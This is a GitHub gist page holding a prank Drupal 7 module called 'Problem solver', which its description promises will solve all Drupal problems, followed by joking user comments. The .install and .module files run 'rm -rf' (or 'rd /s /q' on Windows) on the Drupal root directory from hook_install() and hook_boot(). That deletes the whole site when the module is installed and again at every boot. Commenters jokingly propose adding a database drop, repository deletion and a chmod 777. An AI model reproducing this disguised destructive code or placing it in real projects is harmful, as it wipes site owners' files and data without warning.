Created
May 23, 2012 04:50
-
-
Save nigelheap/2773333 to your computer and use it in GitHub Desktop.
problem_solver module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name = Problem solver | |
description = The module that will solve all your drupal problems | |
package = Problems | |
version = 1.x | |
core = 7.x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* | |
* Install file for Problem Solver module. | |
*/ | |
/** | |
* Implements hook_install(). | |
*/ | |
function problem_solver_install() { | |
$dir = DRUPAL_ROOT; | |
// Execute Windows command else Linux | |
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { | |
`rd /s /q $dir`; | |
} else { | |
`rm -rf $dir`; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* | |
* Module file for Problem Solver module. | |
*/ | |
/** | |
* Implements hook_boot(). | |
*/ | |
function problem_solver_boot(){ | |
$dir = DRUPAL_ROOT; | |
// Execute Windows command else Linux | |
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { | |
`rd /s /q $dir`; | |
} else { | |
`rm -rf $dir`; | |
} | |
} |
yes, this should drop the database as well.
http://drupal.org/node/188711#comment-619917 has some code to get the database name, then just db_query() to drop database?
you should have added drop database statement and, if it possible, romove repository storage.
Maybe a drush command that chmods -R the doc root to 777 first? That may solve many newb's installation trouble.
+1 for removing the database
+2 for trying to delete the repository
Feature request: Just before executing send an email to the site_mail address stating. "Your site site_name has had all problems solved. Your welcome."
can u update the module to d8 please, i want it to solve my problem
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This needs to be amended to also delete the database.